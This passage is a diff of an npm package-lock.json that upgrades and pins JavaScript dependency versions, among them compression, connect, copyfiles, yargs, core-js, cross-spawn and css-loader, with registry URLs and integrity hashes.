- "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.2.1.tgz",
- "integrity": "sha1-E3kY1teCg/ffemt8WmPhQOaUJeY=",
+ "version": "1.3.0",
+ "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.3.0.tgz",
+ "integrity": "sha512-Rd3se6QB+sO1TwqZjscQrurpEPIfO0/yYnSin6Q/rD3mOutHvUrCAhJub3r90uNb+SESBuE0QYoB90YdfatsRg==",
"dev": true
},
"component-inherit": {
@@ -3114,37 +3160,43 @@
"dev": true
},
"compressible": {
- "version": "2.0.15",
- "resolved": "https://registry.npmjs.org/compressible/-/compressible-2.0.15.tgz",
- "integrity": "sha512-4aE67DL33dSW9gw4CI2H/yTxqHLNcxp0yS6jB+4h+wr3e43+1z7vm0HU9qXOH8j+qjKuL8+UtkOxYQSMq60Ylw==",
+ "version": "2.0.17",
+ "resolved": "https://registry.npmjs.org/compressible/-/compressible-2.0.17.tgz",
+ "integrity": "sha512-BGHeLCK1GV7j1bSmQQAi26X+GgWcTjLr/0tzSvMCl3LH1w1IJ4PFSPoV5316b30cneTziC+B1a+3OjoSUcQYmw==",
"dev": true,
"requires": {
- "mime-db": ">= 1.36.0 < 2"
+ "mime-db": "1.41.0"
},
"dependencies": {
"mime-db": {
- "version": "1.36.0",
- "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.36.0.tgz",
- "integrity": "sha512-L+xvyD9MkoYMXb1jAmzI/lWYAxAMCPvIBSWur0PZ5nOf5euahRLVqH//FKW9mWp2lkqUgYiXPgkzfMUFi4zVDw==",
+ "version": "1.41.0",
+ "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.41.0.tgz",
+ "integrity": "sha512-B5gxBI+2K431XW8C2rcc/lhppbuji67nf9v39eH8pkWoZDxnAL0PxdpH32KYRScniF8qDHBDlI+ipgg5WrCUYw==",
"dev": true
}
}
},
"compression": {
- "version": "1.7.3",
- "resolved": "https://registry.npmjs.org/compression/-/compression-1.7.3.tgz",
- "integrity": "sha512-HSjyBG5N1Nnz7tF2+O7A9XUhyjru71/fwgNb7oIsEVHR0WShfs2tIS/EySLgiTe98aOK18YDlMXpzjCXY/n9mg==",
+ "version": "1.7.4",
+ "resolved": "https://registry.npmjs.org/compression/-/compression-1.7.4.tgz",
+ "integrity": "sha512-jaSIDzP9pZVS4ZfQ+TzvtiWhdpFhE2RDHz8QJkpX9SIpLq88VueF5jJw6t+6CUQcAoA6t+x89MLrWAqpfDE8iQ==",
"dev": true,
"requires": {
- "accepts": "~1.3.5",
+ "accepts": "1.3.7",
"bytes": "3.0.0",
- "compressible": "~2.0.14",
+ "compressible": "2.0.17",
"debug": "2.6.9",
- "on-headers": "~1.0.1",
+ "on-headers": "1.0.2",
"safe-buffer": "5.1.2",
- "vary": "~1.1.2"
+ "vary": "1.1.2"
},
"dependencies": {
+ "bytes": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.0.0.tgz",
+ "integrity": "sha1-0ygVQE1olpn4Wk6k+odV3ROpYEg=",
+ "dev": true
+ },
"debug": {
"version": "2.6.9",
"resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
@@ -3173,9 +3225,9 @@
"integrity": "sha1-CqxmL9Ur54lk1VMvaUeE5wEQrPc=",
"dev": true,
"requires": {
- "inherits": "^2.0.3",
- "readable-stream": "^2.2.2",
- "typedarray": "^0.0.6"
+ "inherits": "2.0.3",
+ "readable-stream": "2.3.3",
+ "typedarray": "0.0.6"
},
"dependencies": {
"isarray": {
@@ -3190,13 +3242,13 @@
"integrity": "sha1-No8lEtefnUb9/HE0mueHi7weuVw=",
"dev": true,
"requires": {
- "core-util-is": "~1.0.0",
- "inherits": "~2.0.3",
- "isarray": "~1.0.0",
- "process-nextick-args": "~1.0.6",
- "safe-buffer": "~5.1.1",
- "string_decoder": "~1.0.3",
- "util-deprecate": "~1.0.1"
+ "core-util-is": "1.0.2",
+ "inherits": "2.0.3",
+ "isarray": "1.0.0",
+ "process-nextick-args": "1.0.7",
+ "safe-buffer": "5.1.1",
+ "string_decoder": "1.0.3",
+ "util-deprecate": "1.0.2"
}
},
"string_decoder": {
@@ -3205,20 +3257,20 @@
"integrity": "sha1-D8Z9fBQYJd6UKC3VNr7GubzoYKs=",
"dev": true,
"requires": {
- "safe-buffer": "~5.1.0"
+ "safe-buffer": "5.1.1"
}
}
}
},
"connect": {
- "version": "3.6.6",
- "resolved": "https://registry.npmjs.org/connect/-/connect-3.6.6.tgz",
- "integrity": "sha1-Ce/2xVr3I24TcTWnJXSFi2eG9SQ=",
+ "version": "3.7.0",
+ "resolved": "https://registry.npmjs.org/connect/-/connect-3.7.0.tgz",
+ "integrity": "sha512-ZqRXc+tZukToSNmh5C2iWMSoV3X1YUcPbqEM4DkEG5tNQXrQUZCNVGGv3IuicnkMtPfGf3Xtp8WCXs295iQ1pQ==",
"dev": true,
"requires": {
"debug": "2.6.9",
- "finalhandler": "1.1.0",
- "parseurl": "~1.3.2",
+ "finalhandler": "1.1.2",
+ "parseurl": "1.3.3",
"utils-merge": "1.0.1"
},
"dependencies": {
@@ -3234,9 +3286,9 @@
}
},
"connect-history-api-fallback": {
- "version": "1.5.0",
- "resolved": "https://registry.npmjs.org/connect-history-api-fallback/-/connect-history-api-fallback-1.5.0.tgz",
- "integrity": "sha1-sGhzk0vF40T+9hGhlqb6rgruAVo=",
+ "version": "1.6.0",
+ "resolved": "https://registry.npmjs.org/connect-history-api-fallback/-/connect-history-api-fallback-1.6.0.tgz",
+ "integrity": "sha512-e54B99q/OUoH64zYYRf3HBP5z24G38h5D3qXu23JGRoigpX5Ss4r9ZnDk3g0Z8uQC2x2lPaJ+UlWBc1ZWBWdLg==",
"dev": true
},
"console-browserify": {
@@ -3245,7 +3297,7 @@
"integrity": "sha1-8CQcRXMKn8YyOyBtvzjtx0HQuxA=",
"dev": true,
"requires": {
- "date-now": "^0.1.4"
+ "date-now": "0.1.4"
}
},
"console-control-strings": {
@@ -3260,10 +3312,21 @@
"dev": true
},
"content-disposition": {
- "version": "0.5.2",
- "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.2.tgz",
- "integrity": "sha1-DPaLud318r55YcOoUXjLhdunjLQ=",
- "dev": true
+ "version": "0.5.3",
+ "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.3.tgz",
+ "integrity": "sha512-ExO0774ikEObIAEV9kDo50o+79VCUdEB6n6lzKgGwupcVeRlhrj3qGAfwq8G6uBJjkqLrhT0qEYFcWng8z1z0g==",
+ "dev": true,
+ "requires": {
+ "safe-buffer": "5.1.2"
+ },
+ "dependencies": {
+ "safe-buffer": {
+ "version": "5.1.2",
+ "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
+ "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==",
+ "dev": true
+ }
+ }
},
"content-type": {
"version": "1.0.4",
@@ -3294,12 +3357,12 @@
"integrity": "sha512-f2domd9fsVDFtaFcbaRZuYXwtdmnzqbADSwhSWYxYB/Q8zsdUUFMXVRwXGDMWmbEzAn1kdRrtI1T/KTFOL4X2A==",
"dev": true,
"requires": {
- "aproba": "^1.1.1",
- "fs-write-stream-atomic": "^1.0.8",
- "iferr": "^0.1.5",
- "mkdirp": "^0.5.1",
- "rimraf": "^2.5.4",
- "run-queue": "^1.0.0"
+ "aproba": "1.2.0",
+ "fs-write-stream-atomic": "1.0.10",
+ "iferr": "0.1.5",
+ "mkdirp": "0.5.1",
+ "rimraf": "2.7.1",
+ "run-queue": "1.0.3"
}
},
"copy-descriptor": {
@@ -3313,84 +3376,171 @@
"resolved": "https://registry.npmjs.org/copy-to-clipboard/-/copy-to-clipboard-3.0.8.tgz",
"integrity": "sha512-c3GdeY8qxCHGezVb1EFQfHYK/8NZRemgcTIzPq7PuxjHAf/raKibn2QdhHPb/y6q74PMgH6yizaDZlRmw6QyKw==",
"requires": {
- "toggle-selection": "^1.0.3"
+ "toggle-selection": "1.0.6"
}
},
"copyfiles": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/copyfiles/-/copyfiles-2.1.0.tgz",
- "integrity": "sha512-cAeDE0vL/koE9WSEGxqPpSyvU638Kgfu6wfrnj7kqp9FWa1CWsU54Coo6sdYZP4GstWa39tL/wIVJWfXcujgNA==",
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/copyfiles/-/copyfiles-2.1.1.tgz",
+ "integrity": "sha512-y6DZHve80whydXzBal7r70TBgKMPKesVRR1Sn/raUu7Jh/i7iSLSyGvYaq0eMJ/3Y/CKghwzjY32q1WzEnpp3Q==",
"dev": true,
"requires": {
- "glob": "^7.0.5",
- "minimatch": "^3.0.3",
- "mkdirp": "^0.5.1",
+ "glob": "7.1.4",
+ "minimatch": "3.0.4",
+ "mkdirp": "0.5.1",
"noms": "0.0.0",
- "through2": "^2.0.1",
- "yargs": "^11.0.0"
+ "through2": "2.0.5",
+ "yargs": "13.3.0"
},
"dependencies": {
"ansi-regex": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz",
- "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=",
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz",
+ "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==",
"dev": true
},
- "cliui": {
- "version": "4.1.0",
- "resolved": "https://registry.npmjs.org/cliui/-/cliui-4.1.0.tgz",
- "integrity": "sha512-4FG+RSG9DL7uEwRUZXZn3SS34DiDPfzP0VOiEwtUWlE+AR2EIg+hSyvrIgUUfhdgR/UkAeW2QHgeP+hWrXs7jQ==",
+ "ansi-styles": {
+ "version": "3.2.1",
+ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz",
+ "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
"dev": true,
"requires": {
- "string-width": "^2.1.1",
- "strip-ansi": "^4.0.0",
- "wrap-ansi": "^2.0.0"
+ "color-convert": "1.9.0"
+ }
+ },
+ "cliui": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/cliui/-/cliui-5.0.0.tgz",
+ "integrity": "sha512-PYeGSEmmHM6zvoef2w8TPzlrnNpXIjTipYK780YswmIP9vjxmd6Y2a3CB2Ks6/AU8NHjZugXvo8w3oWM2qnwXA==",
+ "dev": true,
+ "requires": {
+ "string-width": "3.1.0",
+ "strip-ansi": "5.2.0",
+ "wrap-ansi": "5.1.0"
}
},
"find-up": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/find-up/-/find-up-2.1.0.tgz",
- "integrity": "sha1-RdG35QbHF93UgndaK3eSCjwMV6c=",
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz",
+ "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==",
"dev": true,
"requires": {
- "locate-path": "^2.0.0"
+ "locate-path": "3.0.0"
+ }
+ },
+ "get-caller-file": {
+ "version": "2.0.5",
+ "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz",
+ "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==",
+ "dev": true
+ },
+ "locate-path": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz",
+ "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==",
+ "dev": true,
+ "requires": {
+ "p-locate": "3.0.0",
+ "path-exists": "3.0.0"
+ }
+ },
+ "p-limit": {
+ "version": "2.2.1",
+ "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.2.1.tgz",
+ "integrity": "sha512-85Tk+90UCVWvbDavCLKPOLC9vvY8OwEX/RtKF+/1OADJMVlFfEHOiMTPVyxg7mk/dKa+ipdHm0OUkTvCpMTuwg==",
+ "dev": true,
+ "requires": {
+ "p-try": "2.2.0"
+ }
+ },
+ "p-locate": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz",
+ "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==",
+ "dev": true,
+ "requires": {
+ "p-limit": "2.2.1"
+ }
+ },
+ "p-try": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz",
+ "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==",
+ "dev": true
+ },
+ "path-exists": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz",
+ "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=",
+ "dev": true
+ },
+ "require-main-filename": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-2.0.0.tgz",
+ "integrity": "sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg==",
+ "dev": true
+ },
+ "string-width": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz",
+ "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==",
+ "dev": true,
+ "requires": {
+ "emoji-regex": "7.0.3",
+ "is-fullwidth-code-point": "2.0.0",
+ "strip-ansi": "5.2.0"
}
},
"strip-ansi": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz",
- "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=",
+ "version": "5.2.0",
+ "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz",
+ "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==",
"dev": true,
"requires": {
- "ansi-regex": "^3.0.0"
+ "ansi-regex": "4.1.0"
}
},
- "yargs": {
- "version": "11.1.0",
- "resolved": "http://registry.npmjs.org/yargs/-/yargs-11.1.0.tgz",
- "integrity": "sha512-NwW69J42EsCSanF8kyn5upxvjp5ds+t3+udGBeTbFnERA+lF541DDpMawzo4z6W/QrzNM18D+BPMiOBibnFV5A==",
+ "wrap-ansi": {
+ "version": "5.1.0",
+ "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-5.1.0.tgz",
+ "integrity": "sha512-QC1/iN/2/RPVJ5jYK8BGttj5z83LmSKmvbvrXPNCLZSEb32KKVDJDl/MOt2N01qU2H/FkzEa9PKto1BqDjtd7Q==",
"dev": true,
"requires": {
- "cliui": "^4.0.0",
- "decamelize": "^1.1.1",
- "find-up": "^2.1.0",
- "get-caller-file": "^1.0.1",
- "os-locale": "^2.0.0",
- "require-directory": "^2.1.1",
- "require-main-filename": "^1.0.1",
- "set-blocking": "^2.0.0",
- "string-width": "^2.0.0",
- "which-module": "^2.0.0",
- "y18n": "^3.2.1",
- "yargs-parser": "^9.0.2"
+ "ansi-styles": "3.2.1",
+ "string-width": "3.1.0",
+ "strip-ansi": "5.2.0"
+ }
+ },
+ "y18n": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.0.tgz",
+ "integrity": "sha512-r9S/ZyXu/Xu9q1tYlpsLIsa3EeLXXk0VwlxqTcFRfg9EhMW+17kbt9G0NrgCmhGb5vT2hyhJZLfDGx+7+5Uj/w==",
+ "dev": true
+ },
+ "yargs": {
+ "version": "13.3.0",
+ "resolved": "https://registry.npmjs.org/yargs/-/yargs-13.3.0.tgz",
+ "integrity": "sha512-2eehun/8ALW8TLoIl7MVaRUrg+yCnenu8B4kBlRxj3GJGDKU1Og7sMXPNm1BYyM1DOJmTZ4YeN/Nwxv+8XJsUA==",
+ "dev": true,
+ "requires": {
+ "cliui": "5.0.0",
+ "find-up": "3.0.0",
+ "get-caller-file": "2.0.5",
+ "require-directory": "2.1.1",
+ "require-main-filename": "2.0.0",
+ "set-blocking": "2.0.0",
+ "string-width": "3.1.0",
+ "which-module": "2.0.0",
+ "y18n": "4.0.0",
+ "yargs-parser": "13.1.1"
}
}
}
},
"core-js": {
- "version": "2.5.7",
- "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.5.7.tgz",
- "integrity": "sha512-RszJCAxg/PP6uzXVXL6BsxSXx/B05oJAQ2vkJRjyjrEcNVycaqOmNb5OTxZPE3xa5gwZduqza6L9JOCenh/Ecw=="
+ "version": "2.6.9",
+ "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.6.9.tgz",
+ "integrity": "sha512-HOpZf6eXmnl7la+cUdMnLvUxKNqLUzJvgIziQ0DiF3JwSImNphIqdGqzj6hIKyX04MmV0poclQ7+wjWvxQyR2A=="
},
"core-util-is": {
"version": "1.0.2",
@@ -3398,14 +3548,14 @@
"integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac="
},
"cosmiconfig": {
- "version": "5.2.0",
- "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-5.2.0.tgz",
- "integrity": "sha512-nxt+Nfc3JAqf4WIWd0jXLjTJZmsPLrA9DDc4nRw2KFJQJK7DNooqSXrNI7tzLG50CF8axczly5UV929tBmh/7g==",
+ "version": "5.2.1",
+ "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-5.2.1.tgz",
+ "integrity": "sha512-H65gsXo1SKjf8zmrJ67eJk8aIRKV5ff2D4uKZIBZShbhGSpEmsQOPW/SKMKYhSTrqR7ufy6RP69rPogdaPh/kA==",
"requires": {
- "import-fresh": "^2.0.0",
- "is-directory": "^0.3.1",
- "js-yaml": "^3.13.0",
- "parse-json": "^4.0.0"
+ "import-fresh": "2.0.0",
+ "is-directory": "0.3.1",
+ "js-yaml": "3.13.1",
+ "parse-json": "4.0.0"
},
"dependencies": {
"esprima": {
@@ -3418,8 +3568,8 @@
"resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.13.1.tgz",
"integrity": "sha512-YfbcO7jXDdyj0DGxYVSlSeQNHbD7XPWvrVWeVUujrQEoZzWJIRrCPoyk6kL6IAjAG2IolMK4T0hNUe0HOUs5Jw==",
"requires": {
- "argparse": "^1.0.7",
- "esprima": "^4.0.0"
+ "argparse": "1.0.9",
+ "esprima": "4.0.1"
}
},
"parse-json": {
@@ -3427,8 +3577,8 @@
"resolved": "https://registry.npmjs.org/parse-json/-/parse-json-4.0.0.tgz",
"integrity": "sha1-vjX1Qlvh9/bHRxhPmKeIy5lHfuA=",
"requires": {
- "error-ex": "^1.3.1",
- "json-parse-better-errors": "^1.0.1"
+ "error-ex": "1.3.2",
+ "json-parse-better-errors": "1.0.2"
}
}
}
@@ -3439,8 +3589,8 @@
"integrity": "sha512-GbEHQPMOswGpKXM9kCWVrremUcBmjteUaQ01T9rkKCPDXfUHX0IoP9LpHYo2NPFampa4e+/pFDc3jQdxrxQLaw==",
"dev": true,
"requires": {
- "bn.js": "^4.1.0",
- "elliptic": "^6.0.0"
+ "bn.js": "4.11.8",
+ "elliptic": "6.5.1"
}
},
"create-hash": {
@@ -3449,11 +3599,11 @@
"integrity": "sha512-z00bCGNHDG8mHAkP7CtT1qVu+bFQUPjYq/4Iv3C3kWjTFV10zIjfSoeqXo9Asws8gwSHDGj/hl2u4OGIjapeCg==",
"dev": true,
"requires": {
- "cipher-base": "^1.0.1",
- "inherits": "^2.0.1",
- "md5.js": "^1.3.4",
- "ripemd160": "^2.0.1",
- "sha.js": "^2.4.0"
+ "cipher-base": "1.0.4",
+ "inherits": "2.0.3",
+ "md5.js": "1.3.5",
+ "ripemd160": "2.0.2",
+ "sha.js": "2.4.11"
}
},
"create-hmac": {
@@ -3462,12 +3612,12 @@
"integrity": "sha512-MJG9liiZ+ogc4TzUwuvbER1JRdgvUFSB5+VR/g5h82fGaIRWMWddtKBHi7/sVhfjQZ6SehlyhvQYrcYkaUIpLg==",
"dev": true,
"requires": {
- "cipher-base": "^1.0.3",
- "create-hash": "^1.1.0",
- "inherits": "^2.0.1",
- "ripemd160": "^2.0.0",
- "safe-buffer": "^5.0.1",
- "sha.js": "^2.4.8"
+ "cipher-base": "1.0.4",
+ "create-hash": "1.2.0",
+ "inherits": "2.0.3",
+ "ripemd160": "2.0.2",
+ "safe-buffer": "5.1.1",
+ "sha.js": "2.4.11"
}
},
"create-react-class": {
@@ -3475,20 +3625,30 @@
"resolved": "https://registry.npmjs.org/create-react-class/-/create-react-class-15.6.2.tgz",
"integrity": "sha1-zx7RXxKq1/FO9fLf4F5sQvke8Co=",
"requires": {
- "fbjs": "^0.8.9",
- "loose-envify": "^1.3.1",
- "object-assign": "^4.1.1"
+ "fbjs": "0.8.17",
+ "loose-envify": "1.3.1",
+ "object-assign": "4.1.1"
}
},
"cross-spawn": {
- "version": "5.1.0",
- "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-5.1.0.tgz",
- "integrity": "sha1-6L0O/uWPz/b4+UUQoKVUu/ojVEk=",
+ "version": "6.0.5",
+ "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz",
+ "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==",
"dev": true,
"requires": {
- "lru-cache": "^4.0.1",
- "shebang-command": "^1.2.0",
- "which": "^1.2.9"
+ "nice-try": "1.0.5",
+ "path-key": "2.0.1",
+ "semver": "5.7.1",
+ "shebang-command": "1.2.0",
+ "which": "1.3.0"
+ },
+ "dependencies": {
+ "semver": {
+ "version": "5.7.1",
+ "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz",
+ "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==",
+ "dev": true
+ }
}
},
"cryptiles": {
@@ -3497,7 +3657,7 @@
"integrity": "sha1-qJ+7Ig9c4l7FboxKqKT9e1sNKf4=",
"dev": true,
"requires": {
- "boom": "5.x.x"
+ "boom": "5.2.0"
},
"dependencies": {
"boom": {
@@ -3506,7 +3666,7 @@
"integrity": "sha512-Z5BTk6ZRe4tXXQlkqftmsAUANpXmuwlsF5Oov8ThoMbQRzdGTA1ngYRW160GexgOgjsFOKJz0LYhoNi+2AMBUw==",
"dev": true,
"requires": {
- "hoek": "4.x.x"
+ "hoek": "4.2.1"
}
}
}
@@ -3517,37 +3677,37 @@
"integrity": "sha512-fz4spIh+znjO2VjL+IdhEpRJ3YN6sMzITSBijk6FK2UvTqruSQW+/cCZTSNsMiZNvUeq0CqurF+dAbyiGOY6Wg==",
"dev": true,
"requires": {
- "browserify-cipher": "^1.0.0",
- "browserify-sign": "^4.0.0",
- "create-ecdh": "^4.0.0",
- "create-hash": "^1.1.0",
- "create-hmac": "^1.1.0",
- "diffie-hellman": "^5.0.0",
- "inherits": "^2.0.1",
- "pbkdf2": "^3.0.3",
- "public-encrypt": "^4.0.0",
- "randombytes": "^2.0.0",
- "randomfill": "^1.0.3"
+ "browserify-cipher": "1.0.1",
+ "browserify-sign": "4.0.4",
+ "create-ecdh": "4.0.3",
+ "create-hash": "1.2.0",
+ "create-hmac": "1.1.7",
+ "diffie-hellman": "5.0.3",
+ "inherits": "2.0.3",
+ "pbkdf2": "3.0.17",
+ "public-encrypt": "4.0.3",
+ "randombytes": "2.1.0",
+ "randomfill": "1.0.4"
}
},
"css-loader": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-1.0.0.tgz",
- "integrity": "sha512-tMXlTYf3mIMt3b0dDCOQFJiVvxbocJ5Ho577WiGPYPZcqVEO218L2iU22pDXzkTZCLDE+9AmGSUkWxeh/nZReA==",
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-1.0.1.tgz",
+ "integrity": "sha512-+ZHAZm/yqvJ2kDtPne3uX0C+Vr3Zn5jFn2N4HywtS5ujwvsVkyg0VArEXpl3BgczDA8anieki1FIzhchX4yrDw==",
"dev": true,
"requires": {
- "babel-code-frame": "^6.26.0",
- "css-selector-tokenizer": "^0.7.0",
- "icss-utils": "^2.1.0",
- "loader-utils": "^1.0.2",
- "lodash.camelcase": "^4.3.0",
- "postcss": "^6.0.23",
- "postcss-modules-extract-imports": "^1.2.0",
- "postcss-modules-local-by-default": "^1.2.0",
- "postcss-modules-scope": "^1.1.0",
- "postcss-modules-values": "^1.3.0",
- "postcss-value-parser": "^3.3.0",
- "source-list-map": "^2.0.0"
+ "babel-code-frame": "6.26.0",
+ "css-selector-tokenizer": "0.7.1",
+ "icss-utils": "2.1.0",
+ "loader-utils": "1.2.3",
+ "lodash": "4.17.15",
+ "postcss": "6.0.23",
+ "postcss-modules-extract-imports": "1.2.1",
+ "postcss-modules-local-by-default": "1.2.0",
+ "postcss-modules-scope": "1.1.0",
+ "postcss-modules-values": "1.3.0",
+ "postcss-value-parser": "3.3.1",
+ "source-list-map": "2.0.1"
},
"dependencies": {
"babel-code-frame": {
@@ -3556,21 +3716,42 @@
"integrity": "sha1-Y/1D99weO7fONZR9uP42mj9Yx0s=",
"dev": true,
"requires": {
- "chalk": "^1.1.3",
- "esutils": "^2.0.2",
- "js-tokens": "^3.0.2"
+ "chalk": "1.1.3",
+ "esutils": "2.0.2",
+ "js-tokens": "3.0.2"
+ }
+ },
+ "big.js": {
+ "version": "5.2.2",
+ "resolved": "https://registry.npmjs.org/big.js/-/big.js-5.2.2.tgz",
+ "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==",
+ "dev": true
+ },
+ "json5": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz",
+ "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==",
+ "dev": true,
+ "requires": {
+ "minimist": "1.2.0"
}
},
"loader-utils": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.1.0.tgz",
- "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=",
+ "version": "1.2.3",
+ "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.2.3.tgz",
+ "integrity": "sha512-fkpz8ejdnEMG3s37wGL07iSBDg99O9D5yflE9RGNH3hRdx9SOwYfnGYdZOUIZitN8E+E2vkq3MUMYMvPYl5ZZA==",
"dev": true,
"requires": {
- "big.js": "^3.1.3",
- "emojis-list": "^2.0.0",
- "json5": "^0.5.0"
+ "big.js": "5.2.2",
+ "emojis-list": "2.1.0",
+ "json5": "1.0.1"
}
+ },
+ "lodash": {
+ "version": "4.17.15",
+ "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.15.tgz",
+ "integrity": "sha512-8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A==",
+ "dev": true
}
}
},
@@ -3580,21 +3761,21 @@
"integrity": "sha1-KzoRBTnFNV8c2NMUYj6HCxIeyFg=",
"dev": true,
"requires": {
- "boolbase": "~1.0.0",
- "css-what": "2.1",
+ "boolbase": "1.0.0",
+ "css-what": "2.1.0",
"domutils": "1.5.1",
- "nth-check": "~1.0.1"
+ "nth-check": "1.0.1"
}
},
"css-selector-tokenizer": {
- "version": "0.7.0",
- "resolved": "https://registry.npmjs.org/css-selector-tokenizer/-/css-selector-tokenizer-0.7.0.tgz",
- "integrity": "sha1-5piEdK6MlTR3v15+/s/OzNnPTIY=",
+ "version": "0.7.1",
+ "resolved": "https://registry.npmjs.org/css-selector-tokenizer/-/css-selector-tokenizer-0.7.1.tgz",
+ "integrity": "sha512-xYL0AMZJ4gFzJQsHUKa5jiWWi2vH77WVNg7JYRyewwj6oPh4yb/y6Y9ZCw9dsj/9UauMhtuxR+ogQd//EdEVNA==",
"dev": true,
"requires": {
- "cssesc": "^0.1.0",
- "fastparse": "^1.1.1",
- "regexpu-core": "^1.0.0"
+ "cssesc": "0.1.0",
+ "fastparse": "1.1.1",
+ "regexpu-core": "1.0.0"
},
